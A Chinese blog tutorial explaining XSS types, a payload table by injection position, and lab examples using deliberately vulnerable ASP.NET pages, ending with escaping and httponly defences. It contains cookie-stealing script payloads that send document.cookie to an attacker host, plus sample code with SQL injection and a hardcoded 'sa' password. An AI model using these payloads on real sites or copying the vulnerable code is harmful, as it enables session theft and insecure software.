我说我不理解为什么别人做得出来我做不出来,比如这里要说的XSS我觉得很多人就不了解其定义和原理的,在不了解定义和原理的背景下他们可以拿站,这让人怎么理解呢。那时我最怕两个问题,第一个是题目做得怎么样第二个是你能拿站吗。好吧这两个我都不行,从而我的渗透能力被认为是孱弱的,我自己也认为我的渗透能力是孱弱的。
在我孱弱的渗透能力中,XSS是算我掌握得最好的,那是因为在入侵检测课程中我们小组被分配到了演示说明XSS的任务,不明真相加厚颜无耻的组员都把自己当大腿然后潇洒去了。没有别的选择只能硬上。
现在回头看的话概念上确实算理解得比较好,但XSS的注入到的具体位置没有细分和防御方法还没涉及到。
XSS,全称Cross-Site Scripting由于CSS已被层叠样式表所用所以简写只能退而使用读音相近的XSS,中文名跨站脚本攻击。
跨站----跨越不同网站。比如www.baidu.com和www.qq.com。
脚本----基本指JavaScript,当然要追究还有微软的JScript等其他一些web脚本语言
跨站脚本----综上,就是跨越不同网站的JavaScript脚本。
跨站脚本攻击----使用跨越不同网站的JavaScript脚本进行的攻击。很多人并没有在意“跨站”的意思,或者是注意了但是不能理解:写个<script>alert(1)</script>怎么和跨越不同网站的JavaScript扯上关系呢?结合CSRF的名称和利用形式,推测XSS的跨站指的是其主要利用方式----使用JavaScript代码将cookie传到了其他网站上,比如'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>,cookie被从本站传到了www.attacker.com。
XSS形成的原因是:系统将用户输入不加过滤(或有过滤但不足)地写入到<html></html>标签内。
“写入到<html></html>标签内”这几个词理解要注意以下几个点:
一是是写入到<html></html>标签内而不是其他位置,如果写入的是响应头那会造成的是http头部注入等问题而不会引发XSS。
二是只要是写入到<html></html>标签内无论什么位置基本都办法实现XSS(当然可能写入不同位置利用方式会有些差异我们后边会讲到),所以我们去看AWVS等工具其扫描原理基本都是如果在响应中看到自己提交的包含特殊字符的内容就会判定为存在XSS。
三是只要“写入到<html></html>标签内”,并不限定是写入当前请求的response的<html></html>,还是后面其他请求的response的<html></html>;如果写入的是当前请求的response的<html></html>那就是反射型XSS,如写入的是后面其他请求的response的<html></html>那就是存储型XSS。(另外也因为扫描器一般都是查看当前request的response是否有request的内容来判断XSS所以扫描器一般只能扫反射型XSS不能扫存储型XSS)
DOM XSS----用户输入没有提交到服务器,只是被前端js接收并显示所引起的XSS。
Reflected XSS----用户输入被提交到服务器,服务器将用户输入写入本次请求的response的<html></html>内引起的XSS。
Stored XSS----用户输入被提交到服务器,服务器将用户输入写入到非本次请求的response的<html></html>内引起的XSS。
我们来说明以下两个问题:
第一个是为什么要从Reflected XSS中分离出DOM XSS。就表现形式看DOM XSS和Reflected XSS都是反射(一个是前端js反射一个是后端服务器反射),所以最开始只有Reflected XSS。但后来人们发现在服务器端添加的转义防护代码并不能处理DOM XSS,所以DOM XSS被分离了出来。
第二个是Reflected XSS和Stored XSS到底有什么区别。我觉得Reflected XSS不存数据库Stored XSS存数据库、Reflected XSS影响一个人Stored XSS一定程度上会阻碍人们对XSS的检测和理解。谁说Stored XSS一定存数据库存xml不可以吗存会话变量不可以吗?谁说Stored XSS一定影响所有人如果只是写入用户自己才能看到的页面那怎么影响所有人?所以我们可以认为Reflected XSS和Stored XSS只有“本次请求的response”和“非本次请求的response”区别,其他没有区别。
XSS形成的原因是:系统将用户输入不加过滤(或有过滤但不足)地写入到<html></html>标签内。而<html></html>标签内有不同的成分,当写入位置不同时攻击方式和防护方式都有些差别,我们对其加以讨论。
以下列表整理自德丸浩的《Web应用安全权威指南》(理论上<html></html>内的内容还有<style>的css)
写入位置 | 位置示例 | 攻击载荷 | 攻击结果 | 说明 | 防护 |
元素内容 | <div>写入到这里</div> | <script>alert(1)</script> | <div><script>alert(1)</script></div? | 常规攻击 | 转义<>& |
属性值 | <input value="写入到这里" /> | " onmouseover="alert(1) | <input value="" onmouseover="alert(1)" /> | 给标签插入新属性 | 转义<>&" |
属性值(URL) | <a href="写入到这里"></a> | javascript:alert(1) | <a href="javascript:alert(1)"></a> | href和src虽然也是属性但可多使用javascript协议 | 禁止外部网站url |
事件绑定函数 | <body onload="init('写入到这里')"></body> | ');alert(1)// | <body onload="init('');alert(1)//')"></body> | 函数执行完后会执行alert(1) | 转义\'"和换行 |
<script></script>内 | <script>写入到这里</script> | </script><script>alert(1) | <script></script><script>alert(1)</script> | 闭合前边的<script>标签使在其中的过滤语句失效 | 转义<> |
在上面我们说到XSS形成的原因是:系统将用户输入不加过滤(或有过滤但不足)地写入到<html></html>标签内。
所以检测方法就是:
第一步,找出可以让用户输入并在本次请求的html代码中(反射型)或随便点击看击有没有出现在其他界面中(存储型)回显的位置;
第二步,在这些位置输入<script>alert('1')</script>到回显位置看有没有弹框;
第三步,如果没有弹框,那查看html代码看是标签没配对好还是有什么服务端做了什么过滤,看该怎么配对好或绕过过滤。
以下示例中我们假设:存在xss的网站部署在192.168.22.128,攻击者用户接收cookie的网站部署在192.168.22.129.
现有存在http://192.168.220.128/domxss.html页面代码如下,其本意是点击显示我的ID时从URL中读取其ID并显示:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<script>
function c_show() {
var userIDv = decodeURIComponent(document.URL);
var pos = userIDv.indexOf("userID=") + 7;
var userID = userIDv.substring(pos, document.URL.length);
document.getElementById("div_id").innerHTML= userID;
}
</script>
</head>
<body>
<div>这是测试基于DOM的XSS的domxss.html页面</div>
<br />
<input type="button" id="bt_showID" onclick="c_show()" value="显示我的ID" />
<span id="div_id">你的ID是:</span>
</body>
</html>
攻击者将以下链接通过(qq/邮箱/论坛等)发给用户以下链接(URL加密后):
http://192.168.220.128/domxss.html?userID='<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>'
用户看到链接点击后,直接点击“显示我的ID”按钮,其192.168.220.128网站的cookie即被发送到192.168.220.129上。
现存在http://192.168.220.128/reflectxss.aspx页面,内容如下:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="reflectxss.aspx.cs" Inherits="WebApplication1.reflectxss" ValidateRequest="false" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<link rel="stylesheet" type="text/css" href="style.css"/>
</head>
<body>
<div>这里是测试反射型XSS的reflectxss.aspx页面</div>
<br /><br />
<form id="form1" runat="server" method="get">
<span>请输入测试内容:</span>
<input type="text" name="i_input" style="width:70%"/>
<input type="submit" value="确认"/>
<br /><br />
<asp:Label ID="Label1" runat="server" Text="你输入的内容是: "></asp:Label>
</form>
</body>
</html>
对应http://192.168.220.128/reflectxss.aspx.cs内容如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace WebApplication1
{
public partial class reflectxss : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (IsPostBack)
{
Label1.Text = Request.QueryString["i_input"];
}
}
}
}
其本意就是在页面中回显一下用户输入
而如果此时攻击者将以下链接通过(qq/邮箱/论坛等)发给用户以下链接(URL加密后):
http://192.168.220.128/reflectxss.aspx?__VIEWSTATE=/wEPDwUJMTc5MzM3ODgyDxYCHhNWYWxpZGF0ZVJlcXVlc3RNb2RlAgFkZE32U7BOunDRlUOFNbpK59/SbNaMfZu80qolEvzQ9JdP&__VIEWSTATEGENERATOR=F392050A&i_input=<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>
用户看到链接并点击访问后,其192.168.220.128网站的cookie即被发送到192.168.220.129上。
现存在http://192.168.220.128/storagexss.aspx页面,内容如下:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="storagexss.aspx.cs" Inherits="WebApplication1.storagexss" ValidateRequest="false"%>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<link rel="stylesheet" type="text/css" href="style.css"/>
</head>
<body>
<form id="form1" runat="server">
<div>这里是测试存储型XSS的storagexss.aspx页面</div>
<br />
<div class="showcontent">
<div>留言内容:</div>
<asp:Label ID="Lb_content" runat="server" style="width:90%"></asp:Label>
</div>
<div class="inputcontent">
<div >请输入测试内容:</div>
<asp:TextBox ID="t_content" runat="server" Width="99%" Height="370" TextMode="MultiLine"></asp:TextBox>
<br />
<asp:Button ID="bt_sub" runat="server" Text="确定" style="float:right" OnClick="bt_sub_Click"/>
</div>
</form>
</body>
</html>
对应http://192.168.220.128/storagexss.aspx.cs内容如下:
using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Threading;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace WebApplication1
{
public partial class storagexss : System.Web.UI.Page
{
// 此函数用于载入页面时从数据库读取所有留言
protected void Page_Load(object sender, EventArgs e)
{
SqlConnection conn1 = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor");
conn1.Open();
SqlCommand cmd1 = new SqlCommand("select * from t_content",conn1);
SqlDataReader result = cmd1.ExecuteReader();
if(result.Read()) {
Lb_content.Text =(String)result["t_content"];
}
conn1.Close();
}
// 此函数用于留言者发表留言时将留言存入数据库
protected void bt_sub_Click(object sender, EventArgs e)
{
SqlConnection conn = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor");
conn.Open();
SqlCommand cmd = new SqlCommand("update t_content set t_content='" + t_content.Text + "'", conn);
cmd.ExecuteNonQuery();
conn.Close();
Page.Response.Write("<script>alert('留言发表成功!');</script>");
}
}
}
该页面就是输出所有用户留言和保存用户留言
此时攻攻者先留言<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>
用户再访问该页面时其cookie就会被发送到192.168.220.129上
XSS主要是用来获取cookie的而且方式都是‘http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>这类型式,只要将cookie设置为httponly这种办法就不能成功。
但一是因为还是可以弹框所以老板或客户可能对httponly并不放心二是XSS本质是注入script代码script能做的事理论上他都能做(比如蠕虫)所以统一对<>&'"进行html实体转义也应采取。
参考:
德丸浩-《Web应用安全权威指南》